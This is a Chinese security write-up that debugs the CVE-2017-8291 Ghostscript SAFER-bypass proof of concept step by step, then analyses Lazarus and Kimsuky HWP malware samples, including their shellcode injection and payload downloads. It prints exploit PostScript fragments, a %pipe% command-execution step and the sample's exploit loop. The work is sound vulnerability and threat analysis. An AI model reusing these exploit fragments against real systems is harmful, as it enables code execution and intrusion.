CVE-2017-8291及利用樣本分析
CVE-2017-8291及利用樣本分析
1.本文一共4500多字 88張圖 預計10分鐘閱讀完畢 2.本人系複眼小組ERFZE師傅原創,未經允許禁止轉載 3.本文可能存在部分表達的不清甚至錯誤的情況,還希望各位看官在公眾號留言多多提出,非常感謝!
0x00 前言:
在日常的針對朝鮮半島APT
活動的分析中,我們可以看到其來自朝鮮的APT
組織,例如:lazarus
,kimsuky
等,其載荷中大量使用了韓國辦公軟體Hancom office
所對應的hwp字尾的樣本進行投遞.本文將透過解析其中所用的最多的漏洞——CVE-2017-8291為切入點進行相關的分析,以及kimsuky
,Lazarus
APT組織樣本的除錯過程
注意:筆者在此前從未接觸過Postscript及Ghostscript(甚至不聞其名),該文權當筆者在學習過程中的一篇學習筆記,其中如有不當之處,望各位看官能夠賜教,筆者感激不盡!。
0x01 Postscript:
讀者可以先行安裝Ghostscript
,之後便可於其中執行下列示例。
0x01.1 介紹:(引自維基百科)
注:讀者若要詳細瞭解,見參考連結。
PostScript
是一種圖靈完全的程式語言,通常PostScript
程式不是人為生成的,而是由其他程式生成的。然而,仍然可以使用手工編制的PostScript程式生成圖形或者進行計算。
PostScript
是一種基於堆疊的解釋語言(例如stack language),它類似於Forth語言但是使用從Lisp語言派生出的資料結構。這種語言的語法使用逆波蘭表示法,這就意味著不需要括號進行分割,但是因為需要記住堆疊結構,所以需要進行訓練才能閱讀這種程式。
0x01.2 入門示例:
1 2 add
:1+23 4 add 5 1 sub mul
:(3 + 4) × (5 - 1)/x1 15 def
:定義一變數x1
,其值為15/x1 x1 2 add def
:x1+=2
x1 0 eq { 0 } if
:{}
可以簡單理解為定義一過程%!PS-Adobe-3.0 EPSF-3.0
:註釋語句以%
開頭
0x01.3 For
語句:
for
語句語法:initial increment limit proc for
。
它會維護一個control variable
,初始值設為initial
。然後,在每次重複之前,會先比較control variable
與limit
。若未超過limit
,則
將control variable
入棧,執行proc
之後再將increment
新增到control variable
。
示例如下:
0 1 1 10 { pop 1 add } for
可以用C語言寫成(僅僅為表示其功能):
int a = 1; int i; for (i = 1; i <= 10; i++) { a+=1: }
pstack
列印當前棧中所有元素。
0x01.4 exch
語句:
交換堆疊頂部的兩個元素:
可以用來給變數賦值:
0x01.5 array
語句:
定義陣列:
0x01.6 put
語句:
為陣列/字典/字串中某個元素賦值:
0x01.7 index
語句:
index
語句語法:anyn … any0 n index
。
複製第n個元素到棧頂:
與for
及put
語句結合使用,可以為整個陣列賦值:
可以用C語言寫成(僅僅為表示其功能):
int tmp[10]; int i; int a = 0; for (i = 1; i <= 10; i++) { tmp[a] = i; a += 1; }
0x01.8 get
語句:
與put
語句相反,取出陣列/字典/字串中某個元素:
0x01.9 aload
語句:
將陣列元素及其自身入棧:
0x01.10 le
語句:
取出棧頂兩個元素進行比較,結果(前者小於後者,為true
;反之為false
)入棧:
0x01.11 ge
語句:
與le
語句比較規則相反:
0x01.12 repeat
語句:
repeat
語句語法:int proc repeat
。
重複執行proc
指定次數:
筆者上述介紹的語句均在POC中出現,若讀者未完全理解,可進一步查閱官方參考文件。
0x02 POC分析:
筆者分析環境:Ubuntu 18.04、Ghostscript 9.21、GDB+pwndbg
可以用C語言寫成(僅僅為表示其功能):
int size_from = 10000; int size_step = 500; int size_to = 65000; int a = 0; int i; for (i = size_from; i <= size_to; i += size_step) a += 1; int buffercount = a; int* buffersizes = NULL; buffersizes = (int*)malloc(buffercount * sizeof(int)); a = 0; for (i = size_from; i <= size_to; i += size_step) { buffersizes[a] = i; a += 1; }
其功能為定義buffers
,令buffers[n]
為buffersizes[n] string
(e.g.:buffers[0]=10000 string
),且每個buffers[n]
的最後16位均為0xFF
。
關於cursize 16 sub 1 cursize 1 sub {curbuf exch 255 put}for
這段程式碼如何修改buffers[n]
的理解,可參閱下圖:
下面到了關鍵部分。首先修改POC如下:
/buffersearchvars [0 0 0 0 0] def /sdevice [0] def buffers %++ (buffers) print %++ pop %++ enlarge array aload (after aload) print %++
如此一來,可直接在zprint()
函式處設斷。(若在zaload()
函式處設斷,無法一次斷下)
啟動GDB後設定引數如下:
set args -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f /home/test/exp.eps
實現aload
操作的函式zaload()
[位於/psi/zarray.c]是第一個關鍵點:
b zprint
設定斷點,r
開始執行後,成功在zprint()
函式處斷下:
檢視osp及osbot(變數名osbot,osp和ostop代表operator stack的棧底、棧指標和棧頂):
gdb-peda$ p osbot $29 = (s_ptr) 0x555557040408 gdb-peda$ p osp $30 = (s_ptr) 0x555557040418 gdb-peda$ x /4gx osbot 0x555557040408: 0x0000006f5715047e 0x00005555572d5e60 0x555557040418: 0x00000007ffff127e 0x00005555575d44e9
根據ref_s
結構(位於/psi/iref.h)的定義:
struct ref_s { struct tas_s tas; union v { /* name the union to keep gdb happy */ ps_int intval; ushort boolval; float realval; ulong saveid; byte *bytes; const byte *const_bytes; ref *refs; const ref *const_refs; name *pname; const name *const_pname; dict *pdict; const dict *const_pdict; /* * packed is the normal variant for referring to packed arrays, * but we need a writable variant for memory management and for * storing into packed dictionary key arrays. */ const ref_packed *packed; ref_packed *writable_packed; op_proc_t opproc; struct stream_s *pfile; struct gx_device_s *pdevice; obj_header_t *pstruct; uint64_t dummy; /* force 16-byte ref on 32-bit platforms */ } value; };
可知0x00005555575d44e9
地址處儲存的應該是buffers
字串,驗證之:
那麼0x00005555572d5e60
地址處儲存的是buffers
陣列,根據POC Part2能夠得知buffers[n]
為buffersizes[n] string
,且每個buffers[n]
的最後16位均為0xFF
,驗證之:
b zaload
於zaload()
函式處設斷,c
繼續執行,於zaload()
函式處成功斷下後,s
單步執行到if (asize > ostop - op)
:
gdb-peda$ p asize $37 = 0x3e8 gdb-peda$ p ostop-op $38 = 0x31f
IF條件成立,那麼呼叫ref_stack_push()
函式(位於/psi/istack.c)重新分配棧空間:
/* * Push N empty slots onto a stack. These slots are not initialized: * the caller must immediately fill them. May return overflow_error * (if max_stack would be exceeded, or the stack has no allocator) * or gs_error_VMerror. */ int ref_stack_push(ref_stack_t *pstack, uint count) { /* Don't bother to pre-check for overflow: we must be able to */ /* back out in the case of a VMerror anyway, and */ /* ref_stack_push_block will make the check itself. */ uint needed = count; uint added; for (; (added = pstack->top - pstack->p) < needed; needed -= added) { int code; pstack->p = pstack->top; code = ref_stack_push_block(pstack, (pstack->top - pstack->bot + 1) / 3, added); if (code < 0) { /* Back out. */ ref_stack_pop(pstack, count - needed + added); pstack->requested = count; return code; } } pstack->p += needed; return 0; }
之後的操作是向重新分配的棧空間中寫入內容,b zarray.c:71
於修改osp
語句設斷,c
繼續執行到斷點處:
gdb-peda$ x /2gx osp 0x5555575006f8: 0x0000000000000e00 0x0000000000000000 gdb-peda$ x /2gx &aref 0x7fffffffc8e0: 0x000003e85715047c 0x000055555796c3e8 gdb-peda$ s ...... gdb-peda$ x /2gx osp 0x5555575006f8: 0x000003e85715047c 0x000055555796c3e8
x /222gx 0x5555572d5e60
檢視buffers
陣列的每一項地址:
注意:osp(0x5555575006f8)位於上圖箭頭所指陣列項下方。
實現.eqproc
操作的函式zeqproc()
(位於/psi/zmisc3.c)是第二個關鍵點。.eqproc
是取出棧頂兩個元素進行比較之後入棧一個布林值(<proc1> <proc2> .eqproc <bool>
):
可以看出其在取出兩個運算元時並未檢查棧中元素數量,且並未檢查兩個運算元型別,如此一來,任意兩個運算元都可以拿來進行比較。其修復方案即是針對此兩種情況:
--- a/psi/zmisc3.c +++ b/psi/zmisc3.c @@ -56,6 +56,12 @@ zeqproc(i_ctx_t *i_ctx_p) ref2_t stack[MAX_DEPTH + 1]; ref2_t *top = stack; + if (ref_stack_count(&o_stack) < 2) + return_error(gs_error_stackunderflow); + if (!r_is_array(op - 1) || !r_is_array(op)) { + return_error(gs_error_typecheck); + } + make_array(&stack[0].proc1, 0, 1, op - 1); make_array(&stack[0].proc2, 0, 1, op); for (;;) {
b zeqproc
設斷後,c
繼續執行,於zeqproc()
函式處成功斷下。接下來b zmisc3.c:112
於make_false(op - 1);
設斷:
gdb-peda$ b zmisc3.c:112 Breakpoint 13 at 0x555555d1d754: file ./psi/zmisc3.c, line 112. gdb-peda$ c ...... gdb-peda$ p osp $66 = (s_ptr) 0x5555575006f8 gdb-peda$ x /4gx osp-1 0x5555575006e8: 0x0000000000000e02 0x0000000000000000 0x5555575006f8: 0x000003e85715047c 0x000055555796c3e8 gdb-peda$ s ...... gdb-peda$ x /4gx osp-1 0x5555575006e8: 0x0000000000000100 0x0000000000000000 0x5555575006f8: 0x000003e85715047c 0x000055555796c3e8
可以看到make_false()
修改之處。之後的pop(1);
將棧指標上移,如此一來.eqproc
與loop
結合便可導致棧指標上溢。
下面來看POC Part3:
其透過buffersearchvars
陣列來檢索buffers[N]
(修改項見圖片25)字串後16位是否被make_false()
修改,進而判斷osp
是否到達可控範圍,並透過buffersearchvars
陣列來儲存位置。
於POC中254 le {
後新增(Overwritten) print
,並將之前新增的print
語句全部註釋掉。重新啟動GDB,設定引數見上,b zprint
設斷後,r
開始執行,成功斷下後:
gdb-peda$ x /8gx osp-2 0x5555574fc958: 0xffffffffffff0100 0xffffffffffff0000 0x5555574fc968: 0x0000a604ffff127e 0x00005555574f2364 0x5555574fc978: 0x0000000a2f6e127e 0x00005555575de0fb 0x5555574fc988: 0x5245504150200b02 0x0000000000000001
如此一來,buffersearchvars[2]設為1,退出loop
迴圈。buffersearchvars[3]儲存當前檢索的buffers[N],buffersearchvars[4]儲存buffersizes[N]-16。
POC Part4是修改currentdevice物件屬性為string,並儲存至sdevice
陣列中,之後再覆蓋其LockSafetyParams屬性,達到Bypass SAFER。
三個.eqproc
語句上移osp是因為後面會有sdevice
、0、currentdevice
入棧。修改POC如下,便於設斷:
(before zeqproc) print .eqproc .eqproc .eqproc sdevice 0 currentdevice (before convert) print buffersearchvars 3 get buffersearchvars 4 get 16#7e put buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put (after convert) print put buffersearchvars 0 get array aload sdevice 0 get 16#3e8 0 put sdevice 0 get 16#3b0 0 put sdevice 0 get 16#3f0 0 put (bypass SAFER) print
於zprint
斷下後,檢視上移前osp:
gdb-peda$ p osp $1 = (s_ptr) 0x5555574fc968 gdb-peda$ x /10gx osp-3 0x5555574fc938: 0x0000000000000000 0x0000000000000000 //sdevice 0x5555574fc948: 0x0000000000000000 0x0000000000000000 //0 0x5555574fc958: 0xffffffffffff0100 0xffffffffffff0000 //currentdevice 0x5555574fc968: 0x0000000effff127e 0x00005555572d8140 0x5555574fc978: 0x00000001ffff04fe 0x00005555572d6c40 gdb-peda$ hexdump 0x00005555572d8140 0x00005555572d8140 : 62 65 66 6f 72 65 20 7a 65 71 70 72 6f 63 ed 3e before zeqproc.>
c
繼續向下執行:
gdb-peda$ p osp $2 = (s_ptr) 0x5555574fc968 gdb-peda$ x /10gx osp-3 0x5555574fc938: 0x00000001ffff047e 0x00005555575d4428 0x5555574fc948: 0x00000252ffff0b02 0x0000000000000000 0x5555574fc958: 0xffffffffffff1378 0x000055555709d488 0x5555574fc968: 0x0000000effff127e 0x00005555572d812a 0x5555574fc978: 0x00000001ffff04fe 0x00005555572d6c40 gdb-peda$ hexdump 0x00005555572d812a 0x00005555572d812a : 62 65 66 6f 72 65 20 63 6f 6e 76 65 72 74 96 3f before convert.?
可以看到currentdevice
已經覆蓋掉之前的字串buffers[N],接下來的三條語句修改其屬性:
buffersearchvars 3 get buffersearchvars 4 get 16#7e put buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put %0x127e表示string buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put %修改size
關於屬性各欄位定義見tas_s結構(位於/psi/iref.h)):
struct tas_s { /* type_attrs is a single element for fast dispatching in the interpreter */ ushort type_attrs; ushort _pad; uint32_t rsize; };
修改完成:
gdb-peda$ c ...... gdb-peda$ p osp $2 = (s_ptr) 0x5555574fc968 gdb-peda$ x /10gx osp-3 0x5555574fc938: 0x00000001ffff047e 0x00005555575d4428 0x5555574fc948: 0x00000252ffff0b02 0x0000000000000000 0x5555574fc958: 0xffffffffffff127e 0x000055555709d488 0x5555574fc968: 0x0000000dffff127e 0x00005555572d8115 0x5555574fc978: 0x00000002ffff0b02 0x000000000000a5f9 gdb-peda$ hexdump 0x00005555572d8115 0x00005555572d8115 : 61 66 74 65 72 20 63 6f 6e 76 65 72 74 97 3f 00 after convert.?.
檢視此時的LockSafetyParams
值:
gdb-peda$ x /4gx 0x000055555709d488+0x3e8 0x55555709d870: 0x0000000000000001 0x0000000000000000 0x55555709d880: 0x0000000000000000 0x0000000000000000 gdb-peda$ x /4gx 0x000055555709d488+0x3b0 0x55555709d838: 0x0000000000000000 0x0000000000000000 0x55555709d848: 0x0000000000000000 0x0000000000000000 gdb-peda$ x /4gx 0x000055555709d488+0x3f0 0x55555709d878: 0x0000000000000000 0x0000000000000000 0x55555709d888: 0x0000000000000000 0x0000000000000000
可以看到偏移0x3e8
處值為1(另外兩處偏移應該是針對其他系統或版本)。LockSafetyParams
屬性見gx_device_s
結構(位於\base\gxdevcli.h)。
最後透過.putdeviceparams
(實現位於/psi/zdevice.c)設定/OutputFile
為(%pipe%echo vulnerable > /dev/tty)
,.outputpage
完成呼叫。
0x03 Lazarus組織利用樣本分析:
0x03.1 樣本1:
樣本名稱:라자루스_에어컨계약.hwp
MD5:EC0C543675374A0EE9A83A4D55CA1A6C
使用HwpScan2開啟文件,可以看到其中的PS指令碼:
匯出解壓後的PS指令碼,其中Y101
變數儲存加密後Shellcode,直接改寫該指令碼將Y101
變數解密並寫入一EPS檔案中:
EPS指令碼中有如下語句:
label13 label10 aload /label82 true def /label83 0 def { .eqproc /label84 true def /label69 0 def label6 { /label84 true def /label3 label7 label69 get def /label85 label3 length 16#20 sub def label3 label85 get { label84 { /label84 false def } { /label84 true def exit } ifelse } repeat label84 { /label82 false def exit } if /label69 label69 1 add def } repeat label84 { /label82 false def exit } if /label83 label83 1 add def } loop label82 { quit } { } ifelse label2 0 label2 label3 label85 16#18 add 16#7E put label3 label85 16#19 add 16#12 put label3 label85 16#1A add 16#00 put label3 label85 16#1B add 16#80 put put
可以看出其確實利用了CVE-2017-8291。
繼續分析解密後的EPS指令碼可以看到其呼叫了VirtualProtect()
函式:
x32dbg
中開啟gbb.exe
,最新的HWP已經移除該元件,筆者分析時使用的HWP版本如下:
之後修改命令列,其引數為開啟文件後於Temp目錄下釋放的PS指令碼(即HwpScan2中的BIN0001.ps)完整路徑:
於VirtualProtect()
函式處設斷後F9執行,成功斷下:
透過0xAABBCCDD
標誌確定ECX指向:
由ECX給函式傳遞引數,獲取系統函式呼叫地址:
判斷當前程式是否執行在WOW64環境中:
獲取當前系統內所有程式的快照:
獲取第一個程式的控制程式碼:
透過Process32Next()
列舉程式,並傳遞給sub_026AF131函式判斷是否為explorer.exe
:
返回explorer.exe
程式ID:
之後將Shellcode注入到explorer.exe
程式中:
x64dbg附加到explorer.exe
上,分析其Shellcode功能。同樣是透過0xAABBCCDD
標誌確定RCX指向:
由ECX給函式傳遞引數,獲取系統函式呼叫地址:
之後呼叫sub_4890EE0判斷當前程式是否為explorer.exe
程式:
移動指標指向,並將gozdeelektronik[.]net提取出來:
載入WinInet.dll
:
獲取即將呼叫函式呼叫地址:
之後從gozdeelektronik[.]net下載第二階段載荷movie.jpg:
0x03.2 樣本2:
樣本名稱:2020년 연구ㆍ전문원 및 수자원분야 경력사원 선발 모집요강.hwp
MD5:F90770D4A320BF15E51FDD770845DCE5
同樣是先使用HwpScan2檢視該文件:
tomato
變數儲存的是未加密的EPS指令碼,可直接將其內容複製出來檢視。其與上一利用指令碼不同之處在於其採用拼接方式來定義名稱字串:
...... {(KE) (RN) (EL) (32) (.D) (LL) 6 zyx01} ...... {(Vi) (rt) (ua) (lP) (rotect) 5 zyx01} ...... {(Ex) (it) (pro) (ce) (ss) 5 zyx01} ......
除錯方法同上,不再贅述。可以成功在VirtualProtect()
函式處斷下:
獲取GetProcAddress()
呼叫地址:
獲取LoadLibrary()
呼叫地址:
載入msvcrt.dll
並獲取system()
函式呼叫地址:
透過call 02250806
指令來為system()
函式傳遞引數:
其執行指令的功能是於TEMP目錄下建立一名為adsutil.vbs
的VBS指令碼,寫入內容並執行該指令碼:
該VBS指令碼經整理後內容如下:
該指令碼功能是於https[:]//matteoragazzini[.]it下載第二階段載荷,解碼後寫入svchost.exe
中並執行之。
0x04 Kimsuky組織某樣本分析:
樣本名稱:(첨부2)20-0206법인운영상황평가표서식(법인작성용).hwp
MD5:8AD471517E7457EB6EEA5E3039A3334F
HwpScan2檢視該文件,會發現該樣本不同於Lazarus組織的兩個樣本在於其EPS指令碼最後部分:
同樣是在VirtualProtect()
函式處斷下:
透過ECX給sub_02544D7D傳遞引數獲取系統函式呼叫地址:
呼叫GetComputerName()
獲取計算機名並於其後新增經過計算的十六進位制值,之後透過異或及指定運算來為即將建立的檔案命名:
於臨時目錄下建立檔案:
之後再次計算一檔名並建立檔案:
呼叫ZwQuerySystemInformation()
遍歷系統所有開啟的控制程式碼,此時SystemInformationClass=SystemHandleInformation
,若緩衝區不足則把申請記憶體的大小擴大一倍之後呼叫RtlReAllocateHeap()
再次申請,直至成功為止:
接下來呼叫ZwQueryObject()
查詢物件的型別,找到開啟的EPS檔案:
使用CreateFileMapping()
和MapViewOfFile()
函式將EPS檔案對映到程式記憶體空間中:
對映完成:
移動指標指向EPS指令碼最後部分:
呼叫VirtualAlloc()
函式為其開闢記憶體空間:
解密並寫入到分配的記憶體空間中:
實際上解密後的該部分將被注入到HimTrayIcon.exe
程式中,詳見下文分析。
獲取當前系統內所有程式的快照之後透過Process32Next()
列舉程式:
遍歷執行緒,找到HimTrayIcon.exe
之後開啟並掛起執行緒:
將解密出來的Shellcode寫入到程式:
之後呼叫RtlCreateUserThread()
函式恢復執行緒的執行。最終釋放記憶體空間並退出:
其注入Shellcode可以附加HimTrayIcon.exe
之後除錯,亦可將Shellcode轉成exe之後除錯,筆者選擇轉成exe之後再進行除錯。解密記憶體中的PE檔案:
獲取系統資料夾並拼接路徑:
建立程式:
呼叫GetThreadContext()
函式,若失敗則直接TerminateProcess
:
獲取系統版本資訊,以此來判斷下一步如何執行:
多次呼叫WriteProcessMemory()
函式於建立的程式中寫入PE檔案內容:
恢復執行緒執行:
0x05 參考連結:
- Wikipedia —— https://zh.wikipedia.org/wiki/PostScript
- 官方參考文獻 —— https://web.archive.org/web/20170218093716/https://www.adobe.com/products/postscript/pdfs/PLRM.pdf
- POC —— https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/exploits/CVE-2017-8291/msf.eps
- Ghostscript 9.21 —— https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/tag/gs921
- GhostButt - CVE-2017-8291利用分析—— https://paper.seebug.org/310
相關文章
- CVE-2017-0261及利用樣本分析2020-08-14
- CVE-2017-11882及利用樣本分析2020-03-26
- MS12-027及利用樣本分析2021-04-10
- CVE-2015-1641及利用樣本分析2020-11-29
- 惡意程式碼分析之行為分析及樣本收集2021-01-29
- 利用Office宏及Powershell的針對性攻擊樣本分析2020-08-19
- 利用Office巨集及Powershell的針對性攻擊樣本分析2018-03-08
- 某EXCEL漏洞樣本shellcode分析2020-08-19Excel
- AI+遊戲:高效利用樣本的強化學習2018-04-23AI遊戲強化學習
- (CVE-2019-5786) 漏洞原理分析及利用2020-07-01
- CVE-2013-4547 Nginx解析漏洞深入利用及分析2020-08-19Nginx
- Python數模筆記-Sklearn(2)樣本聚類分析2021-05-10Python筆記聚類
- “愛思助手”被爆為iOS木馬樣本技術分析2020-08-19iOS
- 招標書樣本2024-10-10
- 「分段對映」幫助利用少量樣本習得新類別細粒度分類器2018-05-22
- CVE-2021-26411在野樣本中利用RPC繞過CFG緩解技術的研究2021-04-29RPC
- BlueKeep 漏洞利用分析2019-09-20
- CVE-2014-6352漏洞及定向攻擊樣本分析2020-08-19
- R語言作業:樣本容量與好樣本概率的關係2020-11-02R語言
- 利用DP-SSL對少量的標記樣本進行有效的半監督學習2022-02-22
- User-Agent手工注入攻擊及防禦(探測與利用分析)2020-12-19
- 《利用Python進行資料分析》 11.6 重新取樣和頻率轉換(二)2018-12-19Python
- 小樣本學習,路在何方?2020-01-10
- 對抗樣本綜述(一)2021-07-10
- CVE-2023-49442 利用分析2024-03-11
- 利用perf進行效能分析2024-06-09
- Commons-Beanutils利用鏈分析2021-08-10Bean
- 怎樣利用GoogleAdsense自動賺錢?2018-07-11Go
- 0day漏洞組合拳:詳細分析一款惡意PDF樣本2018-05-21
- 分析了16993個專案後,我們得到了定性研究的最佳樣本量2023-09-15
- 【開源樣本庫分享】Five-Billion-Pixels-ENVIFormat 五十億畫素高精度樣本庫分享2024-06-14ORM
- 不平衡樣本的處理2018-09-27
- AnglerEK的Flash樣本解密方法初探2020-08-19解密
- 近似熵-樣本熵-多尺度熵2020-08-23熵
- 某被外掛用爛了的讀寫驅動樣本全逆向+功能分析2018-06-14
- R資料分析:樣本量計算的底層邏輯與實操,pwr包2022-03-03
- 棧溢位基礎及利用2021-03-09
- 淺析Block的內部結構 , 及分析其是如何利用 NSInvocation 進行呼叫2018-09-18BloC